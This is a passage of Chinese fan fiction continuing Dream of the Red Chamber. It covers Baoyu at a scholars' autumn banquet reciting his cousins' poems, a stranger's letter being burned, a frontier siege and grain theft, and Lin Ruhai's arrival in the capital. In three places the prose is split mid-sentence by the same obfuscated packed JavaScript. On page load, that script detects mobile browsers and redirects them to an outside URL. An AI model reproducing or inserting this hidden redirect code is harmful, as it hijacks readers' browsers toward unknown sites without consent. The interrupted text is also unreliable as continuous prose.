“要是让老太太和太太们知道了,要怎么办?”探春立刻反驳。 “可是我真的很想去呢!好不容易有这样的机会,可以与那么多才子交流啊!”湘云叹道。 “快不要说这种话,被人传出去就不好了。”宝钗提醒湘云。 “那怎么办呢?”宝玉也问道。 “我们不能去,可是二哥哥你能去啊!”探春笑道。 “你们都不去,我一个去有什么意思?”宝玉不太乐意。他又看到黛玉神情淡淡,便关心道“林妹妹心里也不痛快吗?” 黛玉却摇摇头,回道“也没有什么,男女可以做的事情总是界限明确,我们也不好越界就是了。” 宝钗见黛玉虽带着笑容,所说的话却很低落,便揽过她肩膀,宽怀道“又何必想这些事情让自己不自在呢?” “还不是宝姐姐你拿了这信来给我们看吗?怎么还怪起我了!”黛玉瘪了嘴巴。 宝钗便笑她“我还不是想让你们高兴高兴!” “爱哥哥,我有个好主意!”湘云突然想到什么,拍手笑道。姐妹们都看着湘云。 “爱哥哥不如代表咱们所有人去赴宴,我们每个人提前写好一些诗词文章让爱哥哥记下了,到时让爱哥哥当众表现一番,岂不是相当于咱们都去大展诗才了吗?”湘云笑道。 “这是个好主意!”宝玉最先同意。 英莲笑道“待我日后写得好了再去献丑吧。”说罢,便看向宝钗和黛玉。这二人和湘云是姐妹中公认的最擅长诗词歌赋的。 探春便问道“林姐姐和宝姐姐以为如何呢?” 宝钗笑道“我其实无所谓的,只看颦儿吧!” 黛玉本来和宝钗同样想法,她不欲以这样的方式展现自己的才华,只觉得没意思,只是看到姐妹们都满含期待地看她,自己也不想扫兴,便点了点头,说道“我和宝姐姐每人写两首诗。” “你怎么还替我答应下了呢?”宝钗佯装生气,拍了拍黛玉的手背。 黛玉却笑说“宝姐姐是幕后主管,哪里有不做个表率的道理呢?” 宝钗本也是故意逗黛玉的,便好脾气地点点头,笑道“就当是卖你一个面子。” 湘云见姐妹们都附和她的建议,便对宝玉笑道“只是辛苦爱哥哥了,要记诵好几篇呢!” “那有何难?只要姐妹们高兴,让我记一百篇都可以的!”宝玉在为姐妹们做好事上向来积极,此时他见黛玉也没有刚开始的失落,很是开心。 “现在说的好听,只怕到时候你又记不下来呢?”探春揶揄宝玉道。 “记不下来就告诉舅舅去,让舅舅锤他一顿!”黛玉也调皮道。 宝玉向黛玉做了个鬼脸,见她果真笑了,才道“父亲再不为这个锤我的!” 宝玉带着众姐妹的期盼,如约去了京北书院赴宴。小厮替宝玉递上了帖子,门童看罢,立刻恭敬说道“原来是荣国府的宝二爷,请随我这边来。” 书僮将宝玉带到池边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099851|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉亭落座,此时已经有众多学子各处坐着了。 有人看到宝玉气度矜贵,容貌不凡,便起了结交的心思。宝玉刚坐下来,就围上来四五个人问他名姓。 “原来文苑笔谈幕后笔者竟然是宝二爷,失敬失敬!”一学子拱手赞道。 “真见了面,的确要赞一句文如其人!既然能写成那样娟意灵秀的诗篇,笔者也不是平常人。”又一人围过来夸赞。 宝玉听罢只是略略微笑,表现出良好的世家贵族子弟的修养来。只是他心里却觉得有些无趣,没想到这些人只会说些好听话。 “在下罗铮,敢问兄台尊姓大名?”又有一相貌不俗的少年郎君过来招呼。 宝玉笑着回答了。 罗铮又道“贤弟果真好品格!才能写出那样的诗句···”宝玉只以为又是个拍马屁的,就没接他的话。 “我当时读了‘淡极始知花更艳’一句,只觉得很有哲思,非常值得细细品味。”罗铮又笑道。 宝玉听他能说出宝钗所做的诗句,对这人印象好了几分,便道“兄台也是书院的学生吗?” 罗铮点点头,自来熟地坐到了宝玉旁边,又道“我听文苑的伙计说,笔谈有好几个创作者,怎么今日只来了贤弟一个呢?” 宝玉笑了笑,又道“另几个都是我的挚交好友,他们有事不便前来。” 罗铮面露遗憾,叹道“本来想好好认识这几位朋友的,倒是没有缘分了。”他顿了顿又道,“贤弟的笔名是哪几个字?” “绛洞花王。”宝玉回道。 罗铮笑道“果然我猜的没错!” “兄台猜什么了呢?”宝玉又问。 “我和好友都以为笔谈的几个创作者中有男有女,而我猜这绛洞花王定是个男子,果然叫我猜对了!”罗铮笑说。 宝玉有些不好意思,轻笑着摇了摇头。 “贤弟可否为我引荐蘅芜君和枕霞旧友呢?”罗铮问罢,又满含期待地看着宝玉。他所说的两人是宝钗和湘云。 宝玉犹豫了一下,马上又道“他们二人都不在京城呢!” 罗铮也看出宝玉有意搪塞,只是自己也是满腹期盼,便道“日后待他们回到京城再会也行的!” “有缘再说吧!他们生来腼腆,不喜欢见外人的。”宝玉又解释道。 罗铮见宝玉两次拒绝也不好强求,只是心里却有几分失落。他自己以为这两人都是男子,并不觉得忌讳,所以才直接向宝玉问了。 罗铮又叹道“烦请兄台当面向他们表达我的敬仰之情吧!”说罢,他又掏出一个信封,又道“里面是我自己写的几首诗,若方便的话也请贤弟帮我转交。” 宝玉略略犹豫,又伸手接下了。 “贤弟可知今日秋叶宴有什么事情做?”罗铮坐了一会儿,又问宝玉。 “之前也听说过,大约类似于魏晋时期的清谈吧。”宝玉笑道。他自己的脾性倒适合这种清谈活动,这也是他来赴宴的原因之一。 罗铮点了点头,解释道“一会儿先是书院的学子代表说几句话,然后就开始即景作诗,做完由几位先生挑出好的讲评。再就是抽几个题目大家辩论了。” “愚弟今日来此也是希望多结交一些青年才俊呢!”宝玉期待道。 没一会儿,众宾客已坐满了几处凉亭,大约有三四十人。宝玉心中暗想:看来也不是所有书院的学子都有机会参与的。 此时水塘中的那处凉亭下忽然传出了一阵悠扬清越的笛声。宝玉正沉浸在这笛声中,忽听到身旁又响起了洞箫声。宝玉回头一看,原来正是罗铮在吹箫。 罗铮见宝玉看他,还向宝玉眨了眨眼睛。只见罗铮双手持萧,缓步走向水塘中的凉亭。一笛一萧很快汇合至凉亭下。演奏出更空灵悠远的秋日乐曲。 宝玉闭上眼睛,仔细听那配合默契的演奏,也觉得自己像是乘着秋风,与乐声消散在了秋日和煦的暖阳下。 65.林黛玉体贴安慰 一曲笛箫合奏结束,席上众人仍沉浸在方才的乐声中。 此时罗铮朗声道“列位兄台拨冗参与京北书院举办的秋叶宴,我代表众学子们诚恳致谢···” 宝玉没想到罗铮竟然是学子代表,对这人的才华不禁更是期待。 罗铮客套一番便宣布了今日宴会开始,按照他先前所说的,第一项活动就是即景作诗了。 这正与宝钗黛玉等姐妹们所准备的相同,宝玉早已背得烂熟,此时便提笔默了三首,宝钗黛玉和湘云的各一首。 与会众人大部分都善长作诗,略微思考了一会儿,也都纷纷动笔誊写。只是宝玉这样不假思索就写出三篇的人还是少数。而一直关注着宝玉的罗铮,显然也注意到了。 “贤弟果然敏捷,如此短的时间就写了三篇了。”罗铮凑过来先是夸奖,又得了宝玉允许后看他的诗稿。 “罗兄自然也写好了?”宝玉笑问。 罗铮却道“我今日是代表先生参会,就不当众卖弄了!” 罗铮细细看罢宝玉的诗后,却笑了笑,神情中满是探索。 “可有哪里不对的?”宝玉主动问道。 罗铮摇摇头,笑道“篇篇都是佳作,只是风格迥异···” 宝玉脸微微红了,这么快就露馅让他有些不知所措,便直言道“先前所说的几位好友,因遗憾不能参与,便托我将他们的诗作带来这里···” 罗铮一副果然如此的表情,又笑道“无碍的,并没有任何规定不允许这样。今日得见三篇这样好的文章,我已然心满意足了!” “那么就请罗兄帮我隐瞒一二吧···”宝玉拱手请求。 罗铮拍了拍宝玉肩膀,笑道“区区小事罢了,贤弟请坐,一会儿可要准备好接受赞美呢!”语气熟稔又带了几分调皮。 宝玉至此对这人的性格也很有几分喜欢了。 又过了一炷香的时间,大家陆续都写完了,便按照规定将各自的文章挂到凉亭中,由他人鉴赏。 宝玉也随着人群去看那些诗作。只是大致看了一些,他都不太喜欢。 很多都是过于华丽,并没有什么意趣。宝玉有点失望,又耐着性子看了一些。此时忽听得有人议论道“这几篇倒像是文苑笔谈的作者写的,原来他们今日都来了吗?” “你倒是熟悉他们的文风!不过你这么一说我也觉得有八分相似,不知他们在哪里,应该借此机会结交一下的!”又一男子说道。 宝玉忽然觉得了无趣味,便回到了自己的位置上,自斟自饮了起来。看着凉亭内挤挤挨挨的人群,耳畔传来的是模糊不清的话语,宝玉突然想离开了。 宝玉拿了张纸,信手写了几行字,便托旁边的小厮转交给罗铮,自己悄悄退席了。 刚走出花园,忽听到身后有人喊他“贤弟怎么就退席了呢?” 宝玉回头一看,果然是罗铮。自己本来不想打扰他,没想到还是惹得人家追了出来。 “今日身体不适,有缘再会吧!”宝玉拱手笑道。 “方才好多人都围着贤弟的诗作品读呢?怎么也不等品鉴完了再走呢?”罗铮也是诚恳挽留。 宝玉犹豫了一会儿,又坚持道“多谢兄台好意,他日再会时我一定不这样唐突了!” 罗铮挽留无果,便叹道“只好如此了!希望日后还能相会吧!”说罢,拱手笑别宝玉。 宝玉在回去的路上也有些懊悔,怎么这样冲动就离开了?姐妹们交代的事情只做了一半,这样虎头蛇尾的,回去又要被她们调侃了! 从前宝玉最是喜欢这样可以结识青年才俊的场合,如今果真去了,竟然会只觉得无趣,完全无法忍耐了,真是奇也怪也! 宝玉回家后,先去找了黛玉。黛玉看他表情闷闷的,便关心道“怎么回来得这么早?遇到什么事情了吗?” 宝玉微微摇摇头,说道“林妹妹,你帮我思考一个问题好不好?” 黛玉点点头,宝玉便起身坐到了黛玉身旁,又将自己路上的疑惑全盘说了。 “你说我是不是变了呢?”宝玉说罢又叹道。 “人哪里有不变的?万事万物都在变化,你自然也逃不开。”黛玉笑道,又点了一下宝玉额头,说道“不过是件小事,何须这样忧愁呢?” “姐妹们满腹诗才,却碍于礼节不能参与,好不容易嘱托我去了,结果我却弄成这个样子···”宝玉叹道。 “不过是闲着玩玩罢了,姐妹们哪里像你说的那么上心了呢?”黛玉笑着宽慰。 “无论从哪个方面来说,姐妹们各个都比我好,我既占了身份的优势,好像也没有珍惜,说起来也是对不起自己,对不起你们呢!”宝玉拍了拍额头,仰面长叹一声。 “什么事情烦恼成这样?”忽然传来一个温柔女声。 黛玉回头一看,果然是宝钗笑盈盈走了进来。黛玉便起身挽着宝钗坐下了。又说了她和宝玉方才交谈的内容。 “以前的宝兄弟可是极其自信爽朗的,怎么如今这样表现,像是从前的林妹妹了!”宝钗打趣道。 黛玉哼了一声,又道“宝姐姐不好好安慰人,怎么还来打趣呢?” “又没有打趣你。”宝钗回道。 黛玉也没有真恼,又劝宝玉“我想你是不喜欢宴会上众人的脾性才离开的吧!” 宝玉点点头,说道“我觉得和他们一处探讨,完全没有和姐妹们一处自在。” “因为姐妹们相处,大家都很真诚,而外面那些人却缺乏真诚之心。他们参与这样的活动,都有各自的目的,很难毫无杂念的。”宝钗也宽慰道。 黛玉听了点头笑道“咱们姐妹间的相处时光,的确都很宝贵呢!” “不过是一次宴会罢了,你若遗憾,过几日咱们在家里也办一次秋叶宴,姐妹们玩玩笑笑岂不更好吗?”宝钗对宝玉道。 宝玉听过宝钗和黛玉的开解,已经没那么难过了,便点头笑着表示期待。 “至于你对自己的评价,也不完全公平啊!每个人都有自己看不到但别人很珍惜的特质,就像你很细腻敏感,这也是不可多得的优点呢!”黛玉看宝玉露出笑脸,便又说道。 宝玉被安慰得有些不好意思,轻声道“林妹妹比我年纪小,却这样成熟了,还来宽慰我,我实在汗颜···” 黛玉听了却有些脸红,低头不说话了。 宝钗见他俩人这样神情,轻声笑了笑,就要走时又被宝玉叫住了。 宝玉拿出了罗铮委托他转交的诗稿,解释了缘由。 “这件事你没有告诉其他人吧?”宝钗问道。 “没有任何人看到。”宝玉也道。 宝钗点了点头,犹豫了一会儿,还是接了过来,便去找湘云了。 湘云此时正在书房作诗,见宝钗神神秘秘进来却不发一言,不免好笑,问道“宝姐姐这是怎么了?” “宝玉今日去秋叶宴上遇到一个书院学生,那人托宝玉将诗稿转交给咱们两个。 ”宝钗将袖中的信封递给了湘云。 湘云笑道“不过是件小事,宝姐姐何必这样严肃?”说罢自己拆开信封,看起了里面的诗稿。 “宝姐姐不看看吗?”湘云看宝钗坐在了窗前,便问道。 宝钗闻言笑着摇摇头,说道“我不想看,你看吧。” “真是好文章呢!”湘云走到宝钗身侧,想与她分享。 宝钗拍了一下湘云手背,又道“你看吧,看完将这东西烧了。”湘云此时也意识到了其中的不妥当,就迅速看完了剩下的部分,便将信纸烧掉了。 宝钗看着变成了灰烬的纸张,松了一口气。 湘云此时有些惋惜,叹道“这人的文章写得真好!有些句子直写进人心里去了呢!” “这种话在外面可不要乱说。”宝钗揽着湘云,又认真劝道。 湘云却笑了笑“他既然是给咱们两个的,宝姐姐为何不看呢?” 宝钗却叹了口气,又正色道“按道理,这样私下与外男传递书信已经是大忌了,何必读过之后又让自己惋惜呢?不如一开始就不要去看。” “宝姐姐真是个端正君子呢!”湘云躺在宝钗膝上,仰面朝她笑着说。 宝钗在湘云额头戳了两下,又道“记得不要将这事告诉其他人了!” 湘云点点头,又问“宝姐姐不想知道他究竟写的是什么吗?” 宝钗摇摇头。 湘云却道“不想听也无所谓,总之他的文采比起你和林姐姐还要差一些的,也不是什么非读不可的文章!” “你方才不是还说他写得好吗?”宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103588|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钗笑问。 湘云爽朗一笑,回道“你和林姐姐都比他写得更好,我刚才那样说不过是想引你去看呢!可是你又实在坚定!” “你这丫头,真是古灵精怪!”宝钗说罢,又专挑湘云的痒处挠她。 二人打闹了一会儿,湘云仍懒懒靠着宝钗不想起来,忽然说道“说真的,那个人的文章的确写的很好呢!” “你这丫头怎么又说起这事了!”宝钗作势又要挠她。 湘云忙按住宝钗双手阻止,又自信道“不过我比他写得更好!” 当日秋叶宴宝玉早早离开的事,姐妹们都知道了。 经宝钗和黛玉建议,众人又在贾府花园里也仿了一次秋叶宴。黛玉和湘云还将魏晋时期的曲水流觞搬到了园子里。众人临水而坐,饮酒作诗,辩论经书,倒像是魏晋文人重生在了当代。 天气转冷的时候,贾政一直担心的事情终于有了明确的结果。保龄侯史鼐也被北边的突厥人掳去了,生死不明。 之前侍郎钱玄武被掳去的时候,皇帝已然十分恼怒,又派了新任的兵部侍郎呼延朗和工部尚书封严,又调了两万将士前去善后。并命令仍在战场的史鼐前去协商,务必将侍郎解救回来。只是史鼐出师未捷,自己反而身陷贼营。 战争一触即发,刚走马上任的两位官员也很是谨慎。尤其是工部尚书封严,更是小心翼翼,唯恐出了差错,导致重燃战火,生灵涂炭。 只是他派去了两波人前去协商,都无功而返。按照经验,封严猜测突厥人大约是想再次进攻了。此时马上就要入冬,他们大约想赶在下雪前再抢些钱粮。 封严布置好了防守的一切,同时也派人将事情全数传回了京城。 封严的猜测和提前防备果然应验了,他刚将消息传出去三日,突厥就出兵骚扰。只是连续几次,他们都是夜间派几十人的队伍到叶榆城周边的平民之家扫荡。将人全部屠杀,掳去所有钱粮和牲畜。 只是他们这样行事,分散且机动性高,封严实在不好防守。只能在白天让士兵在城门口挨个通知,让所有在城外的百姓都住到城里准备的临时安置处。 西北地区地广人稀,总有通知不到的地方,那些无辜百姓不少就在夜深人静时被贼人杀害了。 封严一边在夜里派出队伍去有人烟的地方暗中保护,一边在白天让士兵各处通知百姓,尽快都搬到城中。 封严隐隐也在担忧,突厥人肯定不会满足于这样的小打小闹。天越来越冷,突厥人反而是更应该紧迫的一方。 因此封严虽派了一些人各处保护平民,仍将大部分将士留在城内,日夜守着四处城门,他自己和呼延朗更是每两个时辰就来检查一次,不敢有丝毫懈怠。 大规模的进攻是在一个寒冷的深夜。 当时封严与呼延朗正在城楼上视察守夜的将士,忽见得远处亮起点点火光,封严立刻紧张了起来。只见得亮光逐渐汇成一大片向城门扑来,封严一声令下,所有将士严阵以待。 根据封严的部署,东西南北四处城门都有重兵把守,无论如何都是胜券在握的。 突厥人拼命厮杀了半个时辰,封严在城楼上眼见着外面倒下去的人越来越多,火光映在突厥汉子狰狞的面孔上,脱手的火把点燃了地上死者的衣服。 封严毕竟不是战场上厮杀惯了的将军,此时心里涌现出几分苍凉不忍,他扭过头去不再看那惨状,专注于指挥将士防守。 忽然听到呼延朗朝他大喊“将军小心!”封严迅速往前一扑,一支火箭擦着他的头发射中了站在他后面的士兵。 封严来不及后怕,匍匐着将倒地的士兵拖到了旁边安全的地方,又让人去找军医照料。 “将军,他们撤退了!”呼延朗快步走到封严身旁,掩盖不住声音里的喜悦。封严略放了心,又问道“所有城门都守住了吗?” 呼延朗点头应道“无一失守,咱们几乎是毫无损失的大获全胜!” 封严听罢,又叮嘱道“记得让大夫好好照料那个中箭倒地的小兵。” 封严又亲自去四处城门逐一检查,确认突厥人撤退后便彻底放心,只是没有完全松懈,仍按照往常夜里那样守着。 次日清晨,疲惫不堪的封严熟睡时忽听得有人大喊“不好了,粮草库全空了!” 66.物是人非事事休 事情很明显,昨夜突厥人趁城内守卫松懈下来,潜入粮库偷运走了所有粮食。 封严自以为昨夜没有丝毫放松城门守卫,可见城里必然有内鬼,与贼人里应外合。而且这内鬼身居高位,不然也不会神不知鬼不觉做下这么大的祸事。 他略想一想,就带了人亲自去粮库查看。此时呼延朗已率兵守住了粮库,而他们一番检查下又有了新的发现, “大人,粮库下面有一密道!”呼延朗痛声说道。 封严冷静道“密道通向何处?可派人进去查验过了吗?” “通向城外十里外的一处农家茅屋,已派人进去查验,并且在那处农家发现了钱侍郎和保龄侯···”呼延朗沉声道。 封严忙问“他二人状况如何?” “钱侍郎虽瘦弱许多,好在还能说话,只是保龄侯怕是凶多吉少···”呼延朗没再说下去,又叹了口气。 “快将他们接回城里好生医治吧!”封严说罢,挥了挥手,示意呼延朗去办事。 如今迫在眉睫的问题便是这两万士兵的口粮从何而来呢?而救回来的钱玄武与史鼐又经历了什么?突厥人为何偏偏在密道口留下这两个人,有何用意? 封严想到这里,不禁长叹一口气。想他为官三十多年,从不曾有过大的纰漏,如今奉命来西北善后,却出了天大的差错,自己的性命事小,两万士兵没饭吃若要闹起来,到时候附近的百姓都要遭殃,岂不事大? 一阵北风卷起地上的落叶,在空中打了几个转,又轻飘飘落在地上。封严紧了紧棉袍,似是看到了此处许多人的命运。 年关将至,贾府传来一件好事,姑爷林如海要进京了,圣上亲封其为督察院左都御史,专职纠察百官,官职正三品。 贾政说完此事,贾母很是高兴,便道“快让你太太去打点给林家的贺礼!” 贾政笑道“如海信上说他已经在路上了,到了京城第一时间来府上拜访老太太。” “那便等他来了京城再送贺礼吧。”贾母又道。送不送贺礼只是表面,重要的是两家需保持紧密联系。 “今晚咱们家里摆几桌酒,好好庆贺一下!许久没什么好消息了,也应当众人同乐!”贾母喜道,又补充道“将薛姨太太和大老爷他们都请来,今日高兴,都热闹热闹!” 王夫人与探春很快就打点好了几桌酒席,因是家宴也不很隆重,没有请戏班,只是在花厅中摆了五桌,不过十几个人。 贾母将黛玉搂在怀里,笑说“如今你父亲也要进京,你们父女俩今年便可团圆了!”黛玉也很高兴,就端起酒杯说道“敬老太太一杯!” 黛玉敬了酒,自然少不了宝玉。贾母连喝了五六杯孙辈的酒,面上微微红了。 此时贾赦也多喝了几杯,便走到贾母身边说道“母亲高兴,少不得儿子也敬您一杯!” 贾母细看一眼贾赦,见他半含微笑半是醉意,也不由得涌出了对儿子的慈爱来,将之前的龃龉忘了大半,便笑道“叫你二弟过来,咱们母子三个干一杯。” 贾政本就坐在贾母对面,也听得清楚。贾赦看一眼贾政,他立刻端起酒杯也走到贾母面前。 贾母看到两个儿子都人到中年,也已有了白发,不由得心里一酸,三人便共饮了一杯。 如此说笑一阵,夜已深了,贾母完全不觉得疲累,只好像要将今年经历的所有不顺心都抛之脑后。 王夫人见贾母兴致高昂,就建议道“老太太,外面风大,不如咱们挪到里间暖阁里去吧。” 贾母不舍得众人散去,子孙们也愿意陪着老太太。众人就挪到了暖阁里,分了男女两桌。众人紧紧挨着坐在一起,倒像是心也那样紧密地贴合。 席散时,黛玉仰头看了看漆黑的天,忽道“我闻到了雪的气味。” 宝玉听了拍手笑道“若真下一场好雪,咱们又可以起诗社了!在扬州两年,着实想念京城的雪呢!” “林姐姐,你闻到的雪是什么味道的?难不成其他地方下了雪,那气味便飘过来了吗?”湘云也凑过来说话。她揽着黛玉肩膀,学着黛玉那样闭上眼睛,也在空气中寻觅着雪的味道。 黛玉勾起嘴角,笑了笑,轻声道“是一种湿润又轻盈的气味。” 次日一早,天上纷纷扬扬飘起了雪花。如此两日,雪下一阵停一阵,荣国府这样的人家自然是要纵情享受下雪带来的美好。孩子们热热闹闹起了诗社,又去赏梅花。 贾赦那日晚间见贾母心情舒畅,再没有提过先前的事,自己也放了心。今日上午,便与邢夫人一同来贾母屋里请安,并带来一个好消息。他进了屋子,就看到贾政夫妇也在。 贾赦耐着性子奉承了几句,便说明来意。 “母亲,迎春年纪也不小了,我想着也该是为她相看人家的时候了。”贾赦笑着面向贾母说道。 贾母略犹豫一会儿,便点点头,说道“提前看看也好,只是一定要挑一个人品好的,家世倒是其次。迎春那丫头性子和软,若嫁到像咱们这样的高门大户,只怕她撑不起家事。” 邢夫人附和道“老爷也是这样想的,最近也相看了几家公子,都是青年才俊呢!” 贾母点点头,又嘱咐道“人品最紧要!” “不知大哥相看了哪几家的公子?”贾政问道。 “我最为满意的是孙家的一个少年郎。孙家祖上是军官出身,算是咱们家的世交了。如今孙家只有这一位郎君在京,名叫孙绍祖,现袭指挥之职。家境富有,如今正在兵部侯缺。”贾赦解释道,说罢又示意邢夫人。 邢夫人便倒“这位孙公子我也见过一面,生的相貌魁梧,正和咱们家的二姑娘相配呢!” “咱们家本就是想从弃武从文的,为何又找个这样人家联姻呢?”贾政听罢就知道不妥,便反问道。 贾赦见贾政在理,一时语塞,顿了顿说道“这孩子人品家世都是极好的,我与你嫂子都觉得是门好亲事。” 贾赦说罢,虽心里有鬼,只是毕竟身为大哥,该有的威严自然要有的,又道“已经相看了许多,再了解了解,等明年开春就先将亲事定下来要紧。不然这样好的女婿若被别人捷足先登,可就不好了!”说罢,他还冲着众人笑了笑。 当着贾母,贾政不好与自己的兄长撕破脸,只是心里打算一定要查清楚孙绍祖为人,若有半分不妥当,无论如何都要阻止这门亲事的。 “如此着急,只怕不一定能成一门好亲事!”贾政轻声叹道。王夫人本有心开口,却被贾政拽了下袖子,便会意没有说话。 贾母自然看出了贾政的不满,虽自己心里也有疑惑,却不好在长子面前明摆着拉偏架,就劝道“迎春年纪还小些,总之不着急出嫁,你们做父母的为女儿终身大事谨慎一些也是好事。” 邢夫人忙笑道“老太太说的在理,我和老爷都记在心里了。” 腊月里,荣宁二府都在忙着打点年事。虽今年少了王熙凤,贾母感到寂寞,但有众多孙子孙女承欢膝下,也解了许多烦忧。 这半年多来探春都在帮王夫人打理家事,她之前所做的改革如今运行良好,便计划在年后做一些新的改善。下人们虽有一些怨言,但都算得上配合。 三年前荣府就开始积利除弊,改革到如今,府里上下很有一些家风清明的样子。 这其中自然少不了贾政王夫人,王熙凤与探春等姐妹的功劳。最开始,贾母本有些不情愿,但当她亲眼看到荣府的问题与变化时,也就默许了施行改革。 林如海进京那日先去了都察院交接工作,随后也没有回林家在京城的宅院,直接去了荣府。 林如海登门拜访,贾政早就带人在大门口等候了。 “如海你总算到了,可把你盼来了!一路上还顺利吗?”贾政迎至林如海面前,笑道。 “一切都好,只是下船之后先去都察院走了一趟,就耽搁了一会儿。”林如海回道。 贾政看林如海双目有神,步态稳健,便很放心,拍了拍他肩膀。 “我引你先去拜见老太太,随后咱们到书房聊一聊。”贾政说道。 林如海带来的土产和年礼都吩咐小厮带了进去,自有王夫人打点。此时孩子们都在贾母处等着见林姑父,室内暖意融融,欢声笑语。 林如海见过贾母,众人一番客套寒暄后,贾母便笑道“玉儿这些日子总是要来我这里待半天,就怕错过了姑爷的消息呢!” 黛玉有些脸红,轻声道“我也是想陪着老太太解闷的···” “老太太您看,林妹妹被您说的害羞了呢!”宝玉指了指黛玉脸颊,如此笑道。 林如海此时见黛玉和姐妹们相处融洽,便不舍得将女儿与她们分开,又道“本来想将玉儿接回去住几日,只是府上乱糟糟还没收拾好,只好过些日子再说了!” 贾母听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112082|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而高兴,说道“玉儿和这些姐妹们关系极好,留在这里她也开心。不如你也住在这里,收拾出一个院子就是了,也很便宜!” 贾政笑道“如海有公事在身,也许不能常回家来,老太太您就不要勉强他了!”林如海便也婉拒了。 “只是除夕那日你可要过来和我们一起过年!不然你一个人也没有意思。”贾政笑看林如海。 林如海本也是这个意思,就笑着答应了。 在贾母处寒暄过后,林如海便与贾政去了书房。黛玉还有些依依不舍的,却也知道他们要谈正事,自己不好同去的。待父亲走后,黛玉便有些闷闷的。 “林妹妹,我带你去父亲书房里吧!”宝玉在黛玉耳畔小声说道。 黛玉摇了摇头,说道“再说吧,现在父亲和舅舅有要事商议,咱们不要打扰。” “那我们去下棋吧!你这样闷闷的,又容易生病了。”宝玉关心道。 “瞧他们两个,这么多姐妹在呢,只有他们说悄悄话!”李纨也打趣这二人。 贾母看一眼宝玉和黛玉,笑着将她二人揽到怀里,说道“两个玉儿总是这样要好,谁也离不开谁···”宝玉黛玉听了,都半张脸埋在贾母怀里,微微红了脸。 “她们两个成日待在一处还嫌不够,都不愿意和我们几个玩笑一会儿呢!”湘云指了指宝黛,也笑道。 贾母笑笑,与李纨对视一眼,二人都没说话。 此时在贾政外书房里,炭火将屋子烘得暖融融的。贾政将西北战场的事情都告诉了林如海,林如海本也知道一部分。 林如海沉思片刻,便道“那边战事不顺我也略有耳闻,保龄侯被贼人掳去这么长时间,只怕凶多吉少。” 贾政叹了口气,说道“虽还没有最新的邸报传来,只怕我军和突厥人已经交过手了,却不知谁胜谁负?” “北方游牧民族总是在冬天南下骚扰几次,弄些过冬的物品,我想也许是咱们输了,不然何故迟迟没有邸报传来呢?距离上一次消息都快一个月了!”林如海分析道。 “那次贾雨村过来探我的口风,想让我去西北道善后,却被我拒绝了。没想到后来圣上却派了保龄侯史鼐前去,这不就是明摆着从四大家族里面挑人?”贾政又道。 林如海抿了口茶,点点头,又问“王子腾如今和你们联系多吗?” 贾政摇摇头,说道“他自从升了九省检点之后,我以为他暗地里想与我们划清界限,如今听说他人在东北巡查,其他一概不知。” “即使是圣上眼中联络紧密的四大家族,中间也有许多不和睦的地方!”林如海也不避讳贾政,直言道。 贾政点了点头,又道“有你在京城,也让我能安心两分。”说罢端起茶杯与林如海的杯子轻碰了一下。二人相视一笑,便没有再说那些沉重的事情。 贾政早就让人将黛玉叫了过来,此时这边谈话结束,贾政就将时间留给了他们父女二人。 “夫人在老太太那里吗?”贾政回到屋子没有找到王夫人,便问丫鬟。 那丫鬟说道“太太打点完姑爷带的东西,便带了单子去见老太太了。”贾政听罢,略一思索,便没有过去,自己去找孩子们了。 此时孩子们都散了,贾母处只有王夫人和李纨陪着。 王夫人将林如海的年礼大概向贾母念了念。贾母点点头,说道“那些土产玩意你就分给孩子们去玩吧。”王夫人笑着应下了。 “你们在扬州时,林姑爷有没有说过黛玉的婚事如何考虑的呢?”贾母低声问道。 王夫人有些惊讶,说道“林姑爷倒是没有说过这事儿···” “前些日子大老爷说要给迎春议亲,不知不觉,咱们家的孩子也都大了···” 贾母说到这里,轻叹了一口气,又道“要我看,两个玉儿很是般配···” 李纨听罢先观察了一下王夫人的神情,没有着急说话。 王夫人心里自然也满意宝玉和黛玉,便笑道“全凭老太太做主,我自然没什么可说的。” 贾母看王夫人是真心实意说这话,脸上的笑容更明显了。 李纨便凑趣道“这两个孩子自小一起长大,性子也相配,家世自不用说,若真成就了好事,咱们两家便亲上加亲了!” 贾母笑着点头“不仅如此,如今林姑爷官运亨通,咱们两家结了亲,宝玉日后自然受益许多的!” 67.悲欢离合总无情 贾母本来满心期盼要过一个团圆年,只是一封西北战场的邸报传来,让她的期望落了空。 兵部侍郎钱玄武活了下来但神智不清,完全问不出有用的信息。保龄侯史鼐被救回来的第二天就死了。 封严竭尽全力四处买了一些粮食为将士补给,勉强稳住了躁动不安的将士们。 他也派人去追查被突厥人抢走的粮食的下落,只是一无所获,就好像凭空消失了一样。 